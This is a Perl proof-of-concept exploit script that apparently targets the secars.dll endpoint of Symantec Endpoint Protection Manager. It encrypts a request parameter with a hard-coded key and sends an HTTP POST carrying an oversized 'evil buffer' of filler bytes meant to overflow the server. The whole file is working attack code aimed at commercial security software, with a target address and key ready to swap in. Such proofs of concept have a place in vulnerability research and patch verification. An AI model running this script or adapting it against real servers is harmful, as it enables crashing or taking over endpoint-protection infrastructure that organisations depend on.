#!/usr/bin/perl -w
use
warnings;
use
strict;
use
IO::
Socket
::INET;
use
SEPM::SEPM;
my
$host
=
"192.168.60.186"
;
my
$port
= 8014;
my
$Kcs_hex
=
"85FB05B288B45D92447A3EDCBEFC434E"
;
$| = 1;
sub
send_request {
my
$param
=
shift
;
my
$post_data
=
shift
;
my
$sock
= IO::
Socket
::INET->new(
"$host:$port"
);
if
(
$sock
){
print
"Connected.. \n"
;
my
$req
=
"POST /secars/secars.dll?h=$param HTTP/1.0\r\n"
.
"User-Agent: Smc\r\n"
.
"Host: $host\r\n"
.
"Content-Length: "
.
length
(
$post_data
) .
"\r\n"
.
"\r\n"
.
$post_data
;
print
$sock
$req
;
my
$resp
=
''
;
while
(<
$sock
>){
$resp
.=
$_
; }
if
(
$resp
=~ /400 Bad Request/) {
print
"\nERROR: Got '400 Bad Request' from the server. Wrong Kcs key ? Wrong SEP version ?\n"
;
}
close
$sock
;
}
}
my
$sep
= SEPM::SEPM->new();
print
"[*] Target: $host:$port\n"
;
print
"[*] KCS Key: $Kcs_hex\n"
;
print
"[*] Generating master encryption key\n"
;
$sep
->genkey(
$Kcs_hex
);
print
"[*] Encrypting URI\n"
;
my
$h
=
$sep
->obfuscate(
"l=9&action=26"
);
print
"[*] Building evil buffer\n"
;
my
$buf
=
"foo=[hex]"
.
"F"
x 1288 .
"B"
x 8 .
"CCCCCCCC"
.
"D"
x 500;
print
"[*] Sending HTTP request\n"
;
send_request(
$h
,
$buf
);
print
"[*] Done\n"
;